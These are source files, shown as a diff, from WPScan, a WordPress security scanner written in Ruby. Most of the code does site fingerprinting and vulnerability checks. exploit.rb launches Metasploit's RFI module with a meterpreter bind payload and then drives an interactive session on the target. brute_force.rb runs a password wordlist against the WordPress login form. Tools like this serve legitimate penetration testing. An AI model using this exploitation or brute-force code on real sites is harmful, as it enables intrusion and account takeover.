|
||||
url = "http://#{url}"
|
||||
end
|
||||
url
|
||||
end
|
||||
|
||||
def add_trailing_slash(url)
|
||||
url = "#{url}/" if url !~ /\/$/
|
||||
url
|
||||
end
|
||||
|
||||
if RUBY_VERSION < "1.9"
|
||||
class Array
|
||||
# Fix for grep with symbols in ruby <= 1.8.7
|
||||
def _grep_(regexp)
|
||||
matches = []
|
||||
self.each do |value|
|
||||
value = value.to_s
|
||||
matches << value if value.match(regexp)
|
||||
end
|
||||
matches
|
||||
end
|
||||
alias_method :grep, :_grep_
|
||||
end
|
||||
end
|
||||
|
||||
# loading the updater
|
||||
require_files_from_directory(UPDATER_LIB_DIR)
|
||||
@updater = UpdaterFactory.get_updater(ROOT_DIR)
|
||||
|
||||
if @updater
|
||||
REVISION = @updater.local_revision_number()
|
||||
else
|
||||
REVISION = "NA"
|
||||
end
|
||||
|
||||
# our 1337 banner
|
||||
def banner()
|
||||
puts '____________________________________________________'
|
||||
puts " __ _______ _____ "
|
||||
puts " \\ \\ / / __ \\ / ____| "
|
||||
puts " \\ \\ /\\ / /| |__) | (___ ___ __ _ _ __ "
|
||||
puts " \\ \\/ \\/ / | ___/ \\___ \\ / __|/ _` | '_ \\ "
|
||||
puts " \\ /\\ / | | ____) | (__| (_| | | | |"
|
||||
puts " \\/ \\/ |_| |_____/ \\___|\\__,_|_| |_| v#{WPSCAN_VERSION}r#{REVISION}"
|
||||
puts
|
||||
puts " WordPress Security Scanner by the WPScan Team"
|
||||
puts " Sponsored by the RandomStorm Open Source Initiative"
|
||||
puts '_____________________________________________________'
|
||||
puts
|
||||
if RUBY_VERSION < "1.9"
|
||||
puts "[WARNING] Ruby < 1.9 not officially supported, please upgrade."
|
||||
puts
|
||||
end
|
||||
if @updater.is_a? SvnUpdater
|
||||
# Uncomment the following lines when the git repo is up
|
||||
#puts "[WARNING] The SVN repository is DEPRECATED, use the GIT one"
|
||||
#puts
|
||||
end
|
||||
end
|
||||
34
lib/environment.rb
Normal file
34
lib/environment.rb
Normal file
@@ -0,0 +1,34 @@
|
||||
begin
|
||||
# Standard libs
|
||||
require 'rubygems'
|
||||
require 'getoptlong'
|
||||
require 'uri'
|
||||
require 'time'
|
||||
require 'resolv'
|
||||
require 'xmlrpc/client'
|
||||
require 'digest/md5'
|
||||
require 'readline'
|
||||
require 'base64'
|
||||
require 'cgi'
|
||||
require 'rbconfig'
|
||||
require 'pp'
|
||||
# Third party libs
|
||||
require 'typhoeus'
|
||||
require 'json'
|
||||
require 'nokogiri'
|
||||
# Custom libs
|
||||
require "#{LIB_DIR}/browser"
|
||||
require "#{LIB_DIR}/cache_file_store"
|
||||
rescue LoadError => e
|
||||
puts "[ERROR] #{e}"
|
||||
|
||||
if missing_gem = e.to_s[%r{ -- ([^\s]+)}, 1]
|
||||
puts "[TIP] Try to run 'gem install #{missing_gem}' or 'gem install --user-install #{missing_gem}'. If you still get an error, Please see README file or http://code.google.com/p/wpscan/"
|
||||
end
|
||||
exit(1)
|
||||
end
|
||||
|
||||
if Typhoeus::VERSION == "0.4.0"
|
||||
puts "Typhoeus 0.4.0 detected, please update the gem otherwise wpscan will not work correctly"
|
||||
exit(1)
|
||||
end
|
||||
40
lib/updater/git_updater.rb
Normal file
40
lib/updater/git_updater.rb
Normal file
@@ -0,0 +1,40 @@
|
||||
#
|
||||
# WPScan - WordPress Security Scanner
|
||||
# Copyright (C) 2011 Ryan Dewhurst AKA ethicalhack3r
|
||||
#
|
||||
# This program is free software: you can redistribute it and/or modify
|
||||
# it under the terms of the GNU General Public License as published by
|
||||
# the Free Software Foundation, either version 3 of the License, or
|
||||
# (at your option) any later version.
|
||||
#
|
||||
# This program is distributed in the hope that it will be useful,
|
||||
# but WITHOUT ANY WARRANTY; without even the implied warranty of
|
||||
# MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the
|
||||
# GNU General Public License for more details.
|
||||
#
|
||||
# You should have received a copy of the GNU General Public License
|
||||
# along with this program. If not, see <http://www.gnu.org/licenses/>.
|
||||
#
|
||||
|
||||
require File.expand_path(File.dirname(__FILE__) + '/updater')
|
||||
|
||||
class GitUpdater < Updater
|
||||
|
||||
def is_installed?
|
||||
%x[git #{repo_directory_arguments()} status 2>&1] =~ /On branch/ ? true : false
|
||||
end
|
||||
|
||||
def local_revision_number
|
||||
# TODO
|
||||
end
|
||||
|
||||
def update
|
||||
%x[git #{repo_directory_arguments()} pull]
|
||||
end
|
||||
|
||||
protected
|
||||
def repo_directory_arguments
|
||||
'--git-dir="#{@repo_directory}.git" --work-tree="#{@repo_directory}"'
|
||||
end
|
||||
|
||||
end
|
||||
39
lib/updater/svn_updater.rb
Normal file
39
lib/updater/svn_updater.rb
Normal file
@@ -0,0 +1,39 @@
|
||||
#
|
||||
# WPScan - WordPress Security Scanner
|
||||
# Copyright (C) 2011 Ryan Dewhurst AKA ethicalhack3r
|
||||
#
|
||||
# This program is free software: you can redistribute it and/or modify
|
||||
# it under the terms of the GNU General Public License as published by
|
||||
# the Free Software Foundation, either version 3 of the License, or
|
||||
# (at your option) any later version.
|
||||
#
|
||||
# This program is distributed in the hope that it will be useful,
|
||||
# but WITHOUT ANY WARRANTY; without even the implied warranty of
|
||||
# MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the
|
||||
# GNU General Public License for more details.
|
||||
#
|
||||
# You should have received a copy of the GNU General Public License
|
||||
# along with this program. If not, see <http://www.gnu.org/licenses/>.
|
||||
#
|
||||
|
||||
require File.expand_path(File.dirname(__FILE__) + '/updater')
|
||||
|
||||
class SvnUpdater < Updater
|
||||
|
||||
@@revision_pattern = /revision="(\d+)"/i
|
||||
@@trunk_url = "https://wpscan.googlecode.com/svn/trunk"
|
||||
|
||||
def is_installed?
|
||||
%x[svn info "#{@repo_directory}" --xml 2>&1] =~ /revision=/ ? true : false
|
||||
end
|
||||
|
||||
def local_revision_number
|
||||
local_revision = %x[svn info "#{@repo_directory}" --xml 2>&1]
|
||||
local_revision[@@revision_pattern, 1].to_s
|
||||
end
|
||||
|
||||
def update
|
||||
puts %x[svn up "#{@repo_directory}"]
|
||||
end
|
||||
|
||||
end
|
||||
47
lib/updater/updater.rb
Normal file
47
lib/updater/updater.rb
Normal file
@@ -0,0 +1,47 @@
|
||||
#
|
||||
# WPScan - WordPress Security Scanner
|
||||
# Copyright (C) 2011 Ryan Dewhurst AKA ethicalhack3r
|
||||
#
|
||||
# This program is free software: you can redistribute it and/or modify
|
||||
# it under the terms of the GNU General Public License as published by
|
||||
# the Free Software Foundation, either version 3 of the License, or
|
||||
# (at your option) any later version.
|
||||
#
|
||||
# This program is distributed in the hope that it will be useful,
|
||||
# but WITHOUT ANY WARRANTY; without even the implied warranty of
|
||||
# MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the
|
||||
# GNU General Public License for more details.
|
||||
#
|
||||
# You should have received a copy of the GNU General Public License
|
||||
# along with this program. If not, see <http://www.gnu.org/licenses/>.
|
||||
#
|
||||
|
||||
# This class act as an absract one
|
||||
class Updater
|
||||
|
||||
attr_reader :repo_directory
|
||||
|
||||
# TODO : add a last '/ to repo_directory if it's not present
|
||||
def initialize(repo_directory = nil)
|
||||
@repo_directory = repo_directory
|
||||
end
|
||||
|
||||
def is_installed?
|
||||
raise_must_be_implemented()
|
||||
end
|
||||
|
||||
def local_revision_number
|
||||
raise_must_be_implemented()
|
||||
end
|
||||
|
||||
def update
|
||||
raise_must_be_implemented()
|
||||
end
|
||||
|
||||
protected
|
||||
|
||||
def raise_must_be_implemented
|
||||
raise "The method must be implemented"
|
||||
end
|
||||
|
||||
end
|
||||
39
lib/updater/updater_factory.rb
Normal file
39
lib/updater/updater_factory.rb
Normal file
@@ -0,0 +1,39 @@
|
||||
#
|
||||
# WPScan - WordPress Security Scanner
|
||||
# Copyright (C) 2011 Ryan Dewhurst AKA ethicalhack3r
|
||||
#
|
||||
# This program is free software: you can redistribute it and/or modify
|
||||
# it under the terms of the GNU General Public License as published by
|
||||
# the Free Software Foundation, either version 3 of the License, or
|
||||
# (at your option) any later version.
|
||||
#
|
||||
# This program is distributed in the hope that it will be useful,
|
||||
# but WITHOUT ANY WARRANTY; without even the implied warranty of
|
||||
# MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the
|
||||
# GNU General Public License for more details.
|
||||
#
|
||||
# You should have received a copy of the GNU General Public License
|
||||
# along with this program. If not, see <http://www.gnu.org/licenses/>.
|
||||
#
|
||||
|
||||
class UpdaterFactory
|
||||
|
||||
def self.get_updater(repo_directory)
|
||||
self.available_updaters_classes().each do |updater_symbol|
|
||||
updater = Object.const_get(updater_symbol).new(repo_directory)
|
||||
|
||||
if updater.is_installed?
|
||||
return updater
|
||||
end
|
||||
end
|
||||
nil
|
||||
end
|
||||
|
||||
protected
|
||||
|
||||
# return array of class symbols
|
||||
def self.available_updaters_classes
|
||||
Object.constants.grep(/^.+Updater$/)
|
||||
end
|
||||
|
||||
end
|
||||
209
lib/wpscan/exploit.rb
Normal file
209
lib/wpscan/exploit.rb
Normal file
@@ -0,0 +1,209 @@
|
||||
#!/usr/bin/env ruby
|
||||
|
||||
#
|
||||
# WPScan - WordPress Security Scanner
|
||||
# Copyright (C) 2011 Ryan Dewhurst AKA ethicalhack3r
|
||||
#
|
||||
# This program is free software: you can redistribute it and/or modify
|
||||
# it under the terms of the GNU General Public License as published by
|
||||
# the Free Software Foundation, either version 3 of the License, or
|
||||
# (at your option) any later version.
|
||||
#
|
||||
# This program is distributed in the hope that it will be useful,
|
||||
# but WITHOUT ANY WARRANTY; without even the implied warranty of
|
||||
# MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the
|
||||
# GNU General Public License for more details.
|
||||
#
|
||||
# You should have received a copy of the GNU General Public License
|
||||
# along with this program. If not, see <http://www.gnu.org/licenses/>.
|
||||
#
|
||||
# ryandewhurst at gmail
|
||||
#
|
||||
|
||||
# This library should contain all methods for exploitation.
|
||||
|
||||
class Exploit
|
||||
|
||||
attr_accessor :rhost, :type, :uri, :postdata
|
||||
|
||||
def initialize(wp_url, type, uri, postdata, use_proxy, proxy_addr, proxy_port)
|
||||
@wp_url = URI.parse(wp_url.to_s)
|
||||
@rhost = @wp_url.host
|
||||
@path = @wp_url.path
|
||||
@type = type
|
||||
@uri = uri
|
||||
@postdata = postdata
|
||||
@session_in_use = nil
|
||||
@use_proxy = use_proxy
|
||||
@proxy_addr = proxy_addr
|
||||
@proxy_port = proxy_port
|
||||
start()
|
||||
end
|
||||
|
||||
# figure out what to exploit
|
||||
|
||||
def start()
|
||||
if @type == "RFI"
|
||||
puts
|
||||
puts "[?] Exploit? [y/n]"
|
||||
answer = Readline.readline
|
||||
if answer =~ /^y/i
|
||||
msf_module = "exploit/unix/webapp/php_include"
|
||||
payload = "php/meterpreter/bind_tcp"
|
||||
exploit(msf_module, payload)
|
||||
else
|
||||
return false
|
||||
end
|
||||
elsif @type == "SQLI"
|
||||
end
|
||||
end
|
||||
|
||||
# exploit
|
||||
|
||||
def exploit(msf_module, payload)
|
||||
|
||||
exploit_info(msf_module,payload)
|
||||
|
||||
if @postdata == ""
|
||||
result = RpcClient.new.exploit(msf_module, {:RHOST => @rhost,:PATH => @path,:PHPURI => @uri,:PAYLOAD => payload})
|
||||
else
|
||||
result = RpcClient.new.exploit(msf_module, {:RHOST => @rhost,:PATH => @path,:PHPURI => @uri,:POSTDATA => @postdata, :PAYLOAD => payload})
|
||||
end
|
||||
|
||||
if result['result'] == "success"
|
||||
puts "[*] Exploit worked! Waiting for a session..."
|
||||
|
||||
session_spawn_timer = Time.new
|
||||
while sessions.nil? or sessions.empty?
|
||||
# wait for a session to spawn with a timeout of 1 minute
|
||||
if (Time.now - session_spawn_timer > 60)
|
||||
puts "[ERROR] Session was not created... exiting."
|
||||
return false
|
||||
end
|
||||
end
|
||||
|
||||
choose_session()
|
||||
|
||||
input = nil
|
||||
while input.nil?
|
||||
puts meterpreter_read(last_session_id())
|
||||
input = Readline.readline
|
||||
if input == "exit"
|
||||
kill_session(@session_in_use)
|
||||
return false
|
||||
end
|
||||
meterpreter_write(last_session_id(), input)
|
||||
input = nil
|
||||
end
|
||||
|
||||
else
|
||||
puts "[ERROR] Exploit failed! :("
|
||||
return false
|
||||
end
|
||||
end
|
||||
|
||||
# output our exploit data
|
||||
|
||||
def exploit_info(msf_module,payload)
|
||||
info = RpcClient.new.get_exploit_info(msf_module)
|
||||
puts
|
||||
puts "| [EXPLOIT]"
|
||||
puts "| Name: " + info['name']
|
||||
puts "| Description: " + info['description'].gsub!("\t", "").gsub!("\n\n","\n").gsub!("\n", "\n| ").chop!
|
||||
puts "| [OPTIONS]"
|
||||
puts "| RHOST: " + @rhost
|
||||
puts "| PATH: " + @path
|
||||
puts "| URI: " + uri
|
||||
puts "| POSTDATA: " + @postdata if @postdata != ""
|
||||
puts "| Payload: " + payload
|
||||
puts
|
||||
end
|
||||
|
||||
# not sure if this is needed?! not used.
|
||||
|
||||
def job_id()
|
||||
jobs = RpcClient.new.jobs()
|
||||
puts jobs
|
||||
end
|
||||
|
||||
# all sessions and related session data
|
||||
|
||||
def sessions()
|
||||
sessions = RpcClient.new.sessions()
|
||||
end
|
||||
|
||||
# the last active session id created
|
||||
|
||||
def last_session_id()
|
||||
sessions.keys.last
|
||||
end
|
||||
|
||||
# a count of the amount of active sessions
|
||||
|
||||
def session_count()
|
||||
sessions().size
|
||||
end
|
||||
|
||||
# if there is more than 1 session,
|
||||
# allow the user to choose one.
|
||||
|
||||
def choose_session()
|
||||
if session_count() >= 2
|
||||
puts "[?] We have " + session_count().to_s + " sessions running. Please choose one by id."
|
||||
open_sessions = ""
|
||||
sessions.keys.each do |open_session|
|
||||
open_sessions += open_session.to_s + " "
|
||||
end
|
||||
puts open_sessions
|
||||
use_session = Readline.readline
|
||||
puts "Using session " + use_session.to_s
|
||||
@session_in_use = use_session
|
||||
else
|
||||
puts "Using session " + last_session_id().to_s
|
||||
@session_in_use = last_session_id()
|
||||
end
|
||||
end
|
||||
|
||||
# kill a session by session id
|
||||
|
||||
def kill_session(id)
|
||||
begin
|
||||
killed = RpcClient.new.kill_session(id)
|
||||
if killed['result'] == "success"
|
||||
puts "[-] Session " + id.to_s + " killed."
|
||||
end
|
||||
rescue
|
||||
puts "[] Session " + id.to_s + " does not exist."
|
||||
return false
|
||||
end
|
||||
end
|
||||
|
||||
# read data from a shell, meterpreter is not classed
|
||||
# as a shell.
|
||||
|
||||
def read_shell(id)
|
||||
RpcClient.new.read_shell(id)['data']
|
||||
end
|
||||
|
||||
# write data to a shell, meterpreter is not classed
|
||||
# as a shell.
|
||||
|
||||
def write_shell(id, data)
|
||||
RpcClient.new.write_shell(id, data)
|
||||
end
|
||||
|
||||
# read data from a meterpreter session
|
||||
# data must be base64 decoded.
|
||||
|
||||
def meterpreter_read(id)
|
||||
Base64.decode64(RpcClient.new.meterpreter_read(id)['data'])
|
||||
end
|
||||
|
||||
# write data to a meterpreter session
|
||||
# data must be base64 encoded.
|
||||
|
||||
def meterpreter_write(id, data)
|
||||
RpcClient.new.meterpreter_write(id, Base64.encode64(data))
|
||||
end
|
||||
|
||||
end
|
||||
116
lib/wpscan/modules/brute_force.rb
Normal file
116
lib/wpscan/modules/brute_force.rb
Normal file
@@ -0,0 +1,116 @@
|
||||
#
|
||||
# WPScan - WordPress Security Scanner
|
||||
# Copyright (C) 2011 Ryan Dewhurst AKA ethicalhack3r
|
||||
#
|
||||
# This program is free software: you can redistribute it and/or modify
|
||||
# it under the terms of the GNU General Public License as published by
|
||||
# the Free Software Foundation, either version 3 of the License, or
|
||||
# (at your option) any later version.
|
||||
#
|
||||
# This program is distributed in the hope that it will be useful,
|
||||
# but WITHOUT ANY WARRANTY; without even the implied warranty of
|
||||
# MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the
|
||||
# GNU General Public License for more details.
|
||||
#
|
||||
# You should have received a copy of the GNU General Public License
|
||||
# along with this program. If not, see <http://www.gnu.org/licenses/>.
|
||||
#
|
||||
# ryandewhurst at gmail
|
||||
#
|
||||
|
||||
module BruteForce
|
||||
|
||||
# param array of string logins
|
||||
# param string wordlist_path
|
||||
def brute_force(logins, wordlist_path)
|
||||
hydra = Browser.instance.hydra
|
||||
number_of_passwords = BruteForce.lines_in_file(wordlist_path)
|
||||
login_url = login_url()
|
||||
|
||||
logins.each do |login|
|
||||
queue_count = 0
|
||||
request_count = 0
|
||||
password_found = false
|
||||
|
||||
File.open(wordlist_path, 'r').each do |password|
|
||||
|
||||
# ignore file comments, but will miss passwords if they start with a hash...
|
||||
next if password[0,1] == '#'
|
||||
|
||||
# keep a count of the amount of requests to be sent
|
||||
request_count += 1
|
||||
queue_count += 1
|
||||
|
||||
# create local vars for on_complete call back, Issue 51.
|
||||
username = login
|
||||
password = password
|
||||
|
||||
# the request object
|
||||
request = Browser.instance.forge_request(login_url,
|
||||
:method => :post,
|
||||
:params => {:log => username, :pwd => password},
|
||||
:cache_timeout => 0
|
||||
)
|
||||
|
||||
# tell hydra what to do when the request completes
|
||||
request.on_complete do |response|
|
||||
|
||||
puts "\n Trying Username : #{username} Password : #{password}" if @verbose
|
||||
|
||||
if response.body =~ /login_error/i
|
||||
puts "\nIncorrect username and/or password." if @verbose
|
||||
elsif response.code == 302
|
||||
puts "\n [SUCCESS] Username : #{username} Password : #{password}\n"
|
||||
password_found = true
|
||||
elsif response.timed_out?
|
||||
puts "ERROR: Request timed out."
|
||||
elsif response.code == 0
|
||||
puts "ERROR: No response from remote server. WAF/IPS?"
|
||||
elsif response.code =~ /^50/
|
||||
puts "ERROR: Server error, try reducing the number of threads."
|
||||
else
|
||||
puts "\nERROR: We recieved an unknown response for #{password}..."
|
||||
if @verbose
|
||||
puts 'Code: ' + response.code.to_s
|
||||
puts 'Body: ' + response.body
|
||||
puts
|
||||
end
|
||||
end
|
||||
end
|
||||
|
||||
# move onto the next username if we have found a valid password
|
||||
break if password_found
|
||||
|
||||
# queue the request to be sent later
|
||||
hydra.queue(request)
|
||||
|
||||
# progress indicator
|
||||
print "\r Brute forcing user '#{username}' with #{number_of_passwords} passwords... #{(request_count * 100) / number_of_passwords}% complete."
|
||||
|
||||
# it can take a long time to queue 2 million requests,
|
||||
# for that reason, we queue @threads, send @threads, queue @threads and so on.
|
||||
# hydra.run only returns when it has recieved all of its,
|
||||
# responses. This means that while we are waiting for @threads,
|
||||
# responses, we are waiting...
|
||||
if queue_count >= Browser.instance.max_threads
|
||||
hydra.run
|
||||
queue_count = 0
|
||||
puts "Sent #{Browser.instance.max_threads} requests ..." if @verbose
|
||||
end
|
||||
end
|
||||
|
||||
# run all of the remaining requests
|
||||
hydra.run
|
||||
end
|
||||
|
||||
end
|
||||
|
||||
# Counts the number of lines in the wordlist
|
||||
# It can take a couple of minutes on large
|
||||
# wordlists, although bareable.
|
||||
def self.lines_in_file(file_path)
|
||||
lines = 0
|
||||
File.open(file_path, 'r').each { |line| lines += 1 }
|
||||
lines
|
||||
end
|
||||
end
|
||||
59
lib/wpscan/modules/malwares.rb
Normal file
59
lib/wpscan/modules/malwares.rb
Normal file
@@ -0,0 +1,59 @@
|
||||
#
|
||||
# WPScan - WordPress Security Scanner
|
||||
# Copyright (C) 2011 Ryan Dewhurst AKA ethicalhack3r
|
||||
#
|
||||
# This program is free software: you can redistribute it and/or modify
|
||||
# it under the terms of the GNU General Public License as published by
|
||||
# the Free Software Foundation, either version 3 of the License, or
|
||||
# (at your option) any later version.
|
||||
#
|
||||
# This program is distributed in the hope that it will be useful,
|
||||
# but WITHOUT ANY WARRANTY; without even the implied warranty of
|
||||
# MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the
|
||||
# GNU General Public License for more details.
|
||||
#
|
||||
# You should have received a copy of the GNU General Public License
|
||||
# along with this program. If not, see <http://www.gnu.org/licenses/>.
|
||||
#
|
||||
|
||||
module Malwares
|
||||
# Used as cache : nil => malwares not checked, [] => no malwares, otherwise array of malwares url found
|
||||
@malwares = nil
|
||||
|
||||
def has_malwares?(malwares_file_path = nil)
|
||||
!malwares(malwares_file_path).empty?
|
||||
end
|
||||
|
||||
# return array of string (url of malwares found)
|
||||
def malwares(malwares_file_path = nil)
|
||||
if @malwares.nil?
|
||||
malwares_found = []
|
||||
malwares_file = Malwares.malwares_file(malwares_file_path)
|
||||
index_page_body = Browser.instance.get(@uri.to_s).body
|
||||
|
||||
File.open(malwares_file, 'r') do |file|
|
||||
file.readlines.collect do |url|
|
||||
chomped_url = url.chomp
|
||||
|
||||
if chomped_url.length > 0
|
||||
malwares_found += index_page_body.scan(Malwares.malware_pattern(chomped_url))
|
||||
end
|
||||
end
|
||||
end
|
||||
|
||||
malwares_found.flatten!
|
||||
malwares_found.uniq!
|
||||
|
||||
@malwares = malwares_found
|
||||
end
|
||||
@malwares
|
||||
end
|
||||
|
||||
def self.malwares_file(malwares_file_path)
|
||||
malwares_file_path || DATA_DIR + '/malwares.txt'
|
||||
end
|
||||
|
||||
def self.malware_pattern(url)
|
||||
%r{<(?:script|iframe).* src=(?:"|')(#{url}[^"']*)(?:"|')[^>]*>}i
|
||||
end
|
||||
end
|
||||
68
lib/wpscan/modules/web_site.rb
Normal file
68
lib/wpscan/modules/web_site.rb
Normal file
@@ -0,0 +1,68 @@
|
||||
#
|
||||
# WPScan - WordPress Security Scanner
|
||||
# Copyright (C) 2011 Ryan Dewhurst AKA ethicalhack3r
|
||||
#
|
||||
# This program is free software: you can redistribute it and/or modify
|
||||
# it under the terms of the GNU General Public License as published by
|
||||
# the Free Software Foundation, either version 3 of the License, or
|
||||
# (at your option) any later version.
|
||||
#
|
||||
# This program is distributed in the hope that it will be useful,
|
||||
# but WITHOUT ANY WARRANTY; without even the implied warranty of
|
||||
# MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the
|
||||
# GNU General Public License for more details.
|
||||
#
|
||||
# You should have received a copy of the GNU General Public License
|
||||
# along with this program. If not, see <http://www.gnu.org/licenses/>.
|
||||
#
|
||||
|
||||
module WebSite
|
||||
|
||||
# check if the remote website is
|
||||
# actually running wordpress.
|
||||
def is_wordpress?
|
||||
wordpress = false
|
||||
|
||||
response = Browser.instance.get(login_url(),
|
||||
:follow_location => true,
|
||||
:max_redirects => 2
|
||||
)
|
||||
|
||||
if response.body =~ %r{WordPress}i
|
||||
wordpress = true
|
||||
else
|
||||
response = Browser.instance.get(xmlrpc_url(),
|
||||
:follow_location => true,
|
||||
:max_redirects => 2
|
||||
)
|
||||
|
||||
if response.body =~ %r{XML-RPC server accepts POST requests only}i
|
||||
wordpress = true
|
||||
end
|
||||
end
|
||||
|
||||
wordpress
|
||||
end
|
||||
|
||||
def xmlrpc_url
|
||||
@uri.merge("xmlrpc.php").to_s
|
||||
end
|
||||
|
||||
# Checks if the remote website is up.
|
||||
def is_online?
|
||||
Browser.instance.get(@uri.to_s).code != 0
|
||||
end
|
||||
|
||||
# see if the remote url returns 30x redirect
|
||||
# return a string with the redirection or nil
|
||||
def redirection(url = nil)
|
||||
url ||= @uri.to_s
|
||||
response = Browser.instance.get(url)
|
||||
|
||||
if response.code == 301 || response.code == 302
|
||||
redirection = response.headers_hash['location']
|
||||
end
|
||||
|
||||
redirection
|
||||
end
|
||||
end
|
||||
56
lib/wpscan/modules/wp_config_backup.rb
Normal file
56
lib/wpscan/modules/wp_config_backup.rb
Normal file
@@ -0,0 +1,56 @@
|
||||
#
|
||||
# WPScan - WordPress Security Scanner
|
||||
# Copyright (C) 2011 Ryan Dewhurst AKA ethicalhack3r
|
||||
#
|
||||
# This program is free software: you can redistribute it and/or modify
|
||||
# it under the terms of the GNU General Public License as published by
|
||||
# the Free Software Foundation, either version 3 of the License, or
|
||||
# (at your option) any later version.
|
||||
#
|
||||
# This program is distributed in the hope that it will be useful,
|
||||
# but WITHOUT ANY WARRANTY; without even the implied warranty of
|
||||
# MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the
|
||||
# GNU General Public License for more details.
|
||||
#
|
||||
# You should have received a copy of the GNU General Public License
|
||||
# along with this program. If not, see <http://www.gnu.org/licenses/>.
|
||||
#
|
||||
|
||||
module WpConfigBackup
|
||||
|
||||
# Checks to see if wp-config.php has a backup
|
||||
# See http://www.feross.org/cmsploit/
|
||||
# return an array of backup config files url
|
||||
def config_backup
|
||||
found = []
|
||||
backups = WpConfigBackup.config_backup_files
|
||||
browser = Browser.instance
|
||||
hydra = browser.hydra
|
||||
|
||||
backups.each do |file|
|
||||
file_url = @uri.merge(URI.escape(file)).to_s
|
||||
request = browser.forge_request(file_url)
|
||||
|
||||
request.on_complete do |response|
|
||||
if response.body[%r{define}i] and not response.body[%r{<\s?html}i]
|
||||
found << file_url
|
||||
end
|
||||
end
|
||||
|
||||
hydra.queue(request)
|
||||
end
|
||||
|
||||
hydra.run
|
||||
|
||||
found
|
||||
end
|
||||
|
||||
# @return Array
|
||||
def self.config_backup_files
|
||||
[
|
||||
'wp-config.php~','#wp-config.php#','wp-config.php.save','wp-config.php.swp','wp-config.php.swo','wp-config.php_bak',
|
||||
'wp-config.bak', 'wp-config.php.bak', 'wp-config.save'
|
||||
] # thanks to Feross.org for these
|
||||
end
|
||||
|
||||
end
|
||||
30
lib/wpscan/modules/wp_full_path_disclosure.rb
Normal file
30
lib/wpscan/modules/wp_full_path_disclosure.rb
Normal file
@@ -0,0 +1,30 @@
|
||||
#
|
||||
# WPScan - WordPress Security Scanner
|
||||
# Copyright (C) 2011 Ryan Dewhurst AKA ethicalhack3r
|
||||
#
|
||||
# This program is free software: you can redistribute it and/or modify
|
||||
# it under the terms of the GNU General Public License as published by
|
||||
# the Free Software Foundation, either version 3 of the License, or
|
||||
# (at your option) any later version.
|
||||
#
|
||||
# This program is distributed in the hope that it will be useful,
|
||||
# but WITHOUT ANY WARRANTY; without even the implied warranty of
|
||||
# MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the
|
||||
# GNU General Public License for more details.
|
||||
#
|
||||
# You should have received a copy of the GNU General Public License
|
||||
# along with this program. If not, see <http://www.gnu.org/licenses/>.
|
||||
#
|
||||
|
||||
module WpFullPathDisclosure
|
||||
|
||||
# Check for Full Path Disclosure (FPD)
|
||||
def has_full_path_disclosure?
|
||||
response = Browser.instance.get(full_path_disclosure_url())
|
||||
response.body[%r{Fatal error}i]
|
||||
end
|
||||
|
||||
def full_path_disclosure_url
|
||||
@uri.merge("wp-includes/rss-functions.php").to_s
|
||||
end
|
||||
end
|
||||
109
lib/wpscan/modules/wp_login_protection.rb
Normal file
109
lib/wpscan/modules/wp_login_protection.rb
Normal file
@@ -0,0 +1,109 @@
|
||||
#
|
||||
# WPScan - WordPress Security Scanner
|
||||
# Copyright (C) 2011 Ryan Dewhurst AKA ethicalhack3r
|
||||
#
|
||||
# This program is free software: you can redistribute it and/or modify
|
||||
# it under the terms of the GNU General Public License as published by
|
||||
# the Free Software Foundation, either version 3 of the License, or
|
||||
# (at your option) any later version.
|
||||
#
|
||||
# This program is distributed in the hope that it will be useful,
|
||||
# but WITHOUT ANY WARRANTY; without even the implied warranty of
|
||||
# MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the
|
||||
# GNU General Public License for more details.
|
||||
#
|
||||
# You should have received a copy of the GNU General Public License
|
||||
# along with this program. If not, see <http://www.gnu.org/licenses/>.
|
||||
#
|
||||
|
||||
module WpLoginProtection
|
||||
|
||||
@@login_protection_method_pattern = /^has_(.*)_protection\?/i
|
||||
# Used as cache
|
||||
@login_protection_plugin = nil
|
||||
|
||||
def has_login_protection?
|
||||
!login_protection_plugin().nil?
|
||||
end
|
||||
|
||||
# Checks if a login protection plugin is enabled
|
||||
# http://code.google.com/p/wpscan/issues/detail?id=111
|
||||
# return a WpPlugin object or nil if no one is found
|
||||
def login_protection_plugin
|
||||
unless @login_protection_plugin
|
||||
protected_methods.grep(@@login_protection_method_pattern).each do |symbol_to_call|
|
||||
|
||||
if send(symbol_to_call)
|
||||
plugin_name = symbol_to_call[@@login_protection_method_pattern, 1].gsub('_', '-')
|
||||
|
||||
return @login_protection_plugin = WpPlugin.new(
|
||||
WpPlugin::create_location_url_from_name(
|
||||
plugin_name,
|
||||
@uri.to_s
|
||||
),
|
||||
:name => plugin_name
|
||||
)
|
||||
end
|
||||
end
|
||||
@login_protection_plugin = nil
|
||||
end
|
||||
@login_protection_plugin
|
||||
end
|
||||
|
||||
protected
|
||||
# Thanks to Alip Aswalid for providing this method.
|
||||
# http://wordpress.org/extend/plugins/login-lockdown/
|
||||
def has_login_lockdown_protection?
|
||||
Browser.instance.get(login_url()).body =~ %r{Login LockDown}i ? true : false
|
||||
end
|
||||
|
||||
# http://wordpress.org/extend/plugins/login-lock/
|
||||
def has_login_lock_protection?
|
||||
Browser.instance.get(login_url()).body =~ %r{LOGIN LOCK} ? true : false
|
||||
end
|
||||
|
||||
# http://wordpress.org/extend/plugins/better-wp-security/
|
||||
def has_better_wp_security_protection?
|
||||
Browser.instance.get(better_wp_security_url()).code != 404
|
||||
end
|
||||
|
||||
def better_wp_security_url
|
||||
WpPlugin.create_location_url_from_name("better-wp-security", @uri)
|
||||
end
|
||||
|
||||
# http://wordpress.org/extend/plugins/simple-login-lockdown/
|
||||
def has_simple_login_lockdown_protection?
|
||||
Browser.instance.get(simple_login_lockdown_url()).code != 404
|
||||
end
|
||||
|
||||
def simple_login_lockdown_url
|
||||
WpPlugin.create_location_url_from_name("simple-login-lockdown", @uri)
|
||||
end
|
||||
|
||||
# http://wordpress.org/extend/plugins/login-security-solution/
|
||||
def has_login_security_solution_protection?
|
||||
Browser.instance.get(login_security_solution_url()).code != 404
|
||||
end
|
||||
